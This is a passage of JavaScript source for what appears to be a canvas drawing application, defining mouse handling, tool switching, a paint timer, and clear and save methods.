			body.appendChild(div);
		},
 
		mouseMoved: function(e) {
			this.currentTool.mouseMoved(e);
		},
 
		mousePressed: function(e) {
			this.currentTool.mousePressed(e);
		},
 
		mouseReleased: function(e) {
			this.currentTool.mouseReleased(e);
		},
 
		context: function() {
			return this.element.getContext("2d");
		},
 
		run: function() {
			if (!this.timer) {
				this.timer = window.setInterval(this.delegate(this.paint), this.delay);	
			}
		},
 
		stop: function() {
			window.clearInterval(this.timer);			
			this.timer = null;
		},
 
		changeTool: function(e) {
			var newTool = e.target.value;
 
			this.log("Changed tool to " + newTool);
			this.currentTool = this.tools[newTool];
		},
 
		clear: function() {
			var ctx = this.context();
			ctx.clearRect(0,0,this.width,this.height);
		},
 
		save: function() {
			window.open(this.element.toDataURL());
		},
 
		paint: function() {
			try {
				var ctx = this.context();
				this.currentTool.paint(ctx);
			}
			catch (e) {
				this.stop();
				throw(e);
			}
		}
	}
);